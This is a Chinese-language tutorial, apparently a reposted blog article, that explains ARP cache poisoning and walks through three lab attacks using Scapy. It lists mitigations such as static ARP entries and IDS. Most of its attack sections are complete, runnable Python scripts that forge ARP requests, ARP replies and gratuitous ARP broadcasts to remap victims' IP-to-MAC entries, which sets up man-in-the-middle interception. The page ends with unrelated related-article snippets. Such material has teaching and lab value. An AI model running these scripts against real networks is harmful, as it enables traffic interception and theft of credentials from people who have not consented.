利用 Scapy 库编写 ARP 缓存中毒攻击脚本

一、ARP 协议基础

参考下篇文章学习

二、ARP 缓存中毒原理

ARP(Address Resolution Protocol)缓存中毒是一种网络攻击,它利用了ARP协议中的漏洞,通过欺骗或篡改网络中的ARP缓存来实施攻击。ARP协议是用于将IP地址映射到物理MAC地址的协议,在IPv4网络中,每台计算机都有一个ARP缓存,用于保存IP地址到MAC地址的映射关系,以便进行网络通信。

2.1 攻击步骤:

  1. **监听网络流量:**攻击者首先在目标网络中监听流量,以便识别目标计算机的IP地址和MAC地址。

  2. **欺骗ARP响应:**攻击者发送虚假的ARP响应消息到目标计算机,告诉目标计算机说攻击者的MAC地址对应于目标计算机想要访问的IP地址。这样一来,目标计算机就会更新自己的ARP缓存,将攻击者的MAC地址错误地与目标IP地址关联起来。

  3. **中间人攻击:**一旦目标计算机的ARP缓存被篡改,攻击者就可以拦截目标计算机发送的流量,并将其传递到正确的目标,同时也可以修改传输的数据。这使得攻击者能够窃取敏感信息或篡改通信内容。

  4. **持久性攻击:**攻击者可能会持续发送虚假的ARP响应,以确保目标计算机的ARP缓存保持被篡改状态,从而持续进行攻击。

2.2 攻击危害:

  • **流量窃取:**攻击者可以拦截目标计算机的网络流量,窃取敏感信息,如登录凭证、信用卡信息等。

  • **数据篡改:**攻击者可以修改网络通信中的数据包,导致数据的篡改或损坏,可能导致系统故障或信息泄露。

  • **拒绝服务:**攻击者可以阻止目标计算机与其他网络资源的正常通信,导致网络服务的拒绝或延迟。

2.3 防护措施:

  • **ARP缓存监控:**定期监控网络中的ARP缓存,检测是否存在异常的ARP记录。

  • **静态ARP条目:**在网络设备中配置静态ARP条目,指定特定的IP地址与MAC地址的映射关系,以防止被篡改。

  • **ARP缓存定期清除:**定期清除设备上的ARP缓存,防止缓存中的错误信息长时间存在。

  • **网络流量加密:**使用加密协议(如TLS、SSH等)来保护网络通信中的数据,防止被攻击者窃取或篡改。

  • **网络入侵检测系统(IDS):**部署IDS来监控网络流量,检测异常的ARP活动,并及时响应和阻止攻击。

三、安装 Scapy 库

3.1 Windows

pip install scapy

3.2 Linux

git clone https://github.com/secdev/scapy
cd scapy
./run_scapy 

四、环境准备

我们可以通过Scapy内的ls命令来查看构造一个ARP类时应当具有哪些属性,如图所示:

  • hwtype:硬件类型字段,表示硬件地址的类型。默认为XShortEnumField类型,值为1,代表以太网。

  • ptype:协议类型字段,表示协议地址的类型。默认为XShortEnumField类型,值为2048,代表IPv4地址。

  • hwlen:硬件地址长度字段,表示硬件地址的长度。默认为FieldLenField类型,无默认值,根据硬件类型自动设置。

  • plen:协议地址长度字段,表示协议地址的长度。默认为FieldLenField类型,无默认值,根据协议类型自动设置。

  • op:操作码字段,表示ARP报文的操作类型,例如请求(1)或响应(2)。默认为ShortEnumField类型,值为1,代表ARP请求。

  • hwsrc:源硬件地址字段,表示发送ARP请求或响应的设备的硬件地址。默认为MultipleTypeField类型,无默认值。

  • psrc:源协议地址字段,表示发送ARP请求或响应的设备的协议地址(IP地址)。默认为MultipleTypeField类型,无默认值。

  • hwdst:目标硬件地址字段,表示ARP请求或响应的目标设备的硬件地址。默认为MultipleTypeField类型,无默认值。

  • pdst:目标协议地址字段,表示ARP请求或响应的目标设备的协议地址(IP地址)。默认为MultipleTypeField类型,无默认值。

小王:CentOS 9

张三:Red Hat 9

攻击者:Kail

五、攻击方式一:伪造 ARP 请求包

通过攻击者小王发送伪造 ARP 请求数据包,使小王的本地 ARP 缓存表中添加一条记录:将张三的IP地址映射到攻击者的 MAC 地址

攻击者发起攻击:

#!/usr/bin/python3
from scapy.all import *
from scapy.layers.l2 import Ether, ARP

# 目标的 IP 地址
Target_IP = "192.168.134.132"

# 伪造的 IP 地址
Forgery_IP = "192.168.134.131"

# 本机的 MAC 地址
My_MAC = "00:0c:29:b2:d6:43"

print("ARP 缓存中毒攻击中……")

# 创建以太网帧对象
E = Ether()

# 设置以太网帧的源 MAC 地址
E.src = My_MAC

# 创建一个ARP(Address Resolution Protocol)对象
A = ARP()

# 设置ARP报文的操作码为 1,表示请求包
A.op = 1

# 设置ARP报文的源 MAC 地址
A.hwsrc = My_MAC

# 设置 ARP 报文的源 IP 地址
A.psrc = Forgery_IP

# 设置 ARP 报文的目标 IP 地址
A.pdst = Target_IP

# 使用Scapy中的 / 运算符将以太网帧对象 E 和 ARP 对象 A 组合成一个数据帧,形成完整的数据帧
frame = E / A

# 使用Scapy中的 sendp() 函数发送构造好的数据帧
sendp(frame)

攻击效果:小王的 ARP 缓存表中出现了张三的 IP 地址并且映射到了攻击者的 MAC 地址。同时也添加了攻击者的映射记录 

六、攻击方法二:伪造 ARP 响应包

通过攻击者张三发送伪造 ARP 响应数据包,使张三的本地 ARP 缓存表中更新一条记录:将小王的 IP 地址映射到攻击者的 MAC 地址

值得注意的是,此时张三的 ARP 缓存表仍处于初始状态,其中并不包含小王的 IP 地址对应的映射记录,而且由于 ARP 响应报文只能更新不能添加记录,因此 ARP 响应数据包并不会在张三的 ARP 缓存表中添加小王对应的记录

因此需要张三 Ping 通小王

这样张三的 ARP 缓存表中就包含 小王 的 IP 地址对应的映射记录: 

攻击者发起攻击:

#!/usr/bin/python3
from scapy.all import *
from scapy.layers.l2 import Ether, ARP

# 目标的 MAC 地址
Target_MAC = "00:0c:29:cf:1f:f2"

# 伪造的 IP 地址
Forgery_IP = "192.168.134.132"

# 伪造的 MAC 地址
Forgery_MAC = "00:0c:29:b2:d6:43"

print("ARP 缓存中毒攻击中……")

# 创建以太网帧对象
E = Ether()

# 设置以太网帧的目标 MAC 地址
E.dst = Target_MAC

# 设置以太网帧的源 MAC 地址
E.src = Forgery_MAC

# 创建一个 ARP(Address Resolution Protocol)对象
A = ARP()

# 设置 ARP 报文的操作码为 2,表示响应包
A.op = 2

# 设置 ARP 报文的源 MAC 地址
A.hwsrc = Forgery_MAC

# 设置 ARP 报文的源 IP 地址
A.psrc = Forgery_IP

# 设置 ARP 报文的目标 MAC 地址
A.hwdst = Target_MAC

# 使用Scapy中的 / 运算符将以太网帧对象 E 和 ARP 对象 A 组合成一个数据帧,形成完整的数据帧
frame = E / A

# 使用Scapy中的 sendp() 函数发送构造好的数据帧
sendp(frame)

攻击成功!

攻击效果:张三的 ARP 缓存表中小王的 IP 地址映射到了攻击者的 MAC 地址

七、攻击方式三:伪造免费 ARP 包 

通过攻击者向网络中其它主机发送伪造免费 ARP 数据包,使张三小王的本地 ARP 缓存表中更新一条记录:将攻击者的 IP 地址映射的 MAC 地址更新为:aa:bb:cc:dd:ee:ff 

注意:免费 ARP 报文只能更新不能添加记录,所以与 ARP 响应包一样先有缓存记录 

前提:张三小王都先 Ping 通攻击者

攻击者发起攻击: 

#!/usr/bin/python3
from scapy.all import *
from scapy.layers.l2 import Ether, ARP

# 本地的 IP 地址
My_IP = "192.168.134.130"

# 广播地址,向所有主机发送数据包
Broadcast_MAC = "ff:ff:ff:ff:ff:ff"

# 伪造的 MAC 地址
Forgery_MAC = "aa:bb:cc:dd:ee:ff"

print("ARP 缓存中毒攻击中……")

# 创建以太网帧对象
E = Ether()

# 设置以太网帧的目标 MAC 地址
E.dst = Broadcast_MAC

# 设置以太网帧的源 MAC 地址
E.src = Forgery_MAC

# 创建一个 ARP(Address Resolution Protocol)对象
A = ARP()

# 设置 ARP 报文的操作码为 1
A.op = 1

# 设置 ARP 报文的源 MAC 地址
A.hwsrc = Forgery_MAC

# 设置 ARP 报文的源 IP 地址
A.psrc = My_IP

# 设置 ARP 报文的目标 MAC 地址
A.hwdst = Broadcast_MAC

# 设置 ARP 报文的目标 IP 地址
A.pdst = My_IP

# 使用Scapy中的 / 运算符将以太网帧对象 E 和 ARP 对象 A 组合成一个数据帧,形成完整的数据帧
frame = E/A

# 使用Scapy中的 sendp() 函数发送构造好的数据帧
sendp(frame)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/488856.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【Leetcode每日一题】 动态规划 - 解码方法(难度⭐)(43)

1. 题目解析 题目链接:91. 解码方法 这个问题的理解其实相当简单,只需看一下示例,基本就能明白其含义了。 2.算法原理 这是一道类似斐波那契数列的题目~ 当我们遇到一个类似斐波那契数列的问题时,我们通常会想到使用动态规划&…

网络安全学习路线(2024)

国家和企业越来越重视网络安全了,现在也有很多很厂商加招网络安全岗位,同时也有很多对网络安全感兴趣的朋友,准备转行或从事网络安全。 通常,网络安全的内容包括: 网络安全技术、网络安全管理、网络安全运作&#xff…

【MySQL数据库】数据类型和简单的增删改查

目录 数据库 MySQL的常用数据类型 1.数值类型: 2.字符串类型 3.日期类型 MySQL简单的增删改查 1.插入数据: 2.查询数据: 3.修改语句: 4.删除语句: 数据库 平时我们使用的操作系统都把数据存储在文件中&#…

谷歌关键词优化十招搞定提升你的存在感-华媒舍

在当今的数字化时代,谷歌已成为我们生活中不可或缺的一部分。作为世界上最大的搜索引擎之一,谷歌每天处理着海量的搜索请求。要在谷歌上获得更多的曝光和存在感,关键词优化是必不可少的。本文将向您介绍十招搞定谷歌关键词优化的方法&#xf…

力扣刷题44-46(力扣0062/0152/0198)

62. 不同路径 题目描述: 一个机器人位于一个 m x n 网格的左上角 ,机器人每次只能向下或者向右移动一步。机器人试图达到网格的右下角。问总共有多少条不同的路径? 思路: 其实就是问(0,0)->(m-1,n-1)一共有几条路。 第一个…

web自动化测试系列-selenium的安装和运行(一)

目录 web自动化系列之如何安装selenium 1.web自动化中的三大亮点技术 2.web自动化能解决什么问题 ? 3.为什么是selenium ? 4.selenium特点 5.selenium安装 6.下载浏览器及驱动 7.测试代码 web自动化系列之如何安装selenium web自动化 ,一个老生…

【No.17】蓝桥杯图论上|最短路问题|Floyd算法|Dijkstra算法|蓝桥公园|蓝桥王国(C++)

图的基本概念 图: 由点(node,或者 vertex)和连接点的边(edge)组成。图是点和边构成的网。 树:特殊的图树,即连通无环图树的结点从根开始,层层扩展子树,是一种层次关系,这种层次关系&#xff0…

【C++】哈希应用之位图

👀樊梓慕:个人主页 🎥个人专栏:《C语言》《数据结构》《蓝桥杯试题》《LeetCode刷题笔记》《实训项目》《C》《Linux》《算法》 🌝每一个不曾起舞的日子,都是对生命的辜负 目录 前言 1.位图的概念 2.位…

一道很有意思的题目(考初始化)

这题很有意思,需要你对初始化够了解才能解出来 ,现在我们来看一下吧。 这题通过分析得出考的是初始化。关于初始化有以下知识点 (取自继承与多态(继承部分)这文章中) 所以根据上方那段知识点可知&#xf…

【linux网络(一)】初识网络, 理解四层网络模型

💓博主CSDN主页:杭电码农-NEO💓   ⏩专栏分类:Linux从入门到精通⏪   🚚代码仓库:NEO的学习日记🚚   🌹关注我🫵带你学更多操作系统知识   🔝🔝 Linux网络 1. 前言2. 初识网络…

【Java程序设计】【C00361】基于Springboot的考勤管理系统(有论文)

基于Springboot的考勤管理系统(有论文) 项目简介项目获取开发环境项目技术运行截图 项目简介 项目获取 🍅文末点击卡片获取源码🍅 开发环境 运行环境:推荐jdk1.8; 开发工具:eclipse以及idea&…

RWTH-PHOENIX Weather数据集模型说明和下载

RWTH-PHOENIX Weather 2014 T数据集说明: 德国公共电视台PHOENIX在三年内(2009 年至 2011 年) 录制了配有手语翻译的每日新闻和天气预报节目,并使用注释符号转录了 386 个版本的天气预报。 此外,我们使用自动语音识别和手动清理来转录原始德语语音。因此,该语料库允许训练…

电脑控制面板在哪?5招教你快速打开!

“我在执行一个任务时要进入电脑的控制面板中查看,但是我不知道电脑的控制面板在哪,谁能帮帮我呀?” 电脑控制面板是一个系统文件夹,它提供了各种对计算机系统进行设置和管理的工具。控制面板允许用户查看并操作基本的系统设置&am…

SAP ABAP-BOPF基础训练-01简介与架构

1. 介绍-Introduction ① BOPF是什么?BOPF(the Business Object Processing Framework):业务对象处理框架 提供了一种增量和模块化的方法,以符合企业面向服务体系结构(eSOA)的方式实现业务对象; 部分平台基础层,软件组…

【笔记】深入理解JVM机制

🎥 个人主页:Dikz12📕格言:吾愚多不敏,而愿加学欢迎大家👍点赞✍评论⭐收藏 目录 JVM 运⾏流程图 JVM 中内存区域划分 方法区 / 元数据区 堆 栈 程序计数器 本地方法栈 内存区域总结 JVM 中类加载过程 …

python网络爬虫实战教学——requests的使用(2)

文章目录 专栏导读1、POST请求2、响应3、Cookie设置 专栏导读 ✍ 作者简介:i阿极,CSDN 数据分析领域优质创作者,专注于分享python数据分析领域知识。 ✍ 本文录入于《python网络爬虫实战教学》,本专栏针对大学生、初级数据分析工程…

【c++】类和对象(二)this指针

🔥个人主页:Quitecoder 🔥专栏:c笔记仓 朋友们大家好,本节内容来到类和对象第二篇,本篇文章会带领大家了解this指针 目录 1.this指针1.1this指针的引出1.2this指针的特性1.3思考题1.4C语言和C实现Stack的对…

Qt|多线程串口通信

前篇:Qt|串口通信之同步数据收一包发一包数据 文章目录 创建工程添加串口通信类添加线程类主函数运行结果需求:串口下方的一些耗时操作并不想阻塞主进程的推进; 环境:windows10+VS2017+Qt5.14.2; 写在最前: 串口不支持跨线程操作,需要写信号槽形式传递;选择COM口下发指…

Allegro之轻松绕等长

如大家所见,这个世界通信的速率越来越快,生活的节奏也在飞驰,如果工作还是慢条斯理,你将是下一个淘汰的人。 高速PCB设计避免不了的要绕等长,然而有时候一个单板需要绕等长的总线很多,一个一个的绕下去&…

独立游戏《星尘异变》UE5 C++程序开发日志3——UEC++特供的数据类型

本篇日志将介绍FString,FText、FName的用法和相互转换,以及容器TMap,TArray的增删查改 一、字符串相关数据类型:FString、FText、FName FString是最接近std::string的类型,字符串本身可以看做一个存储char型的动态数…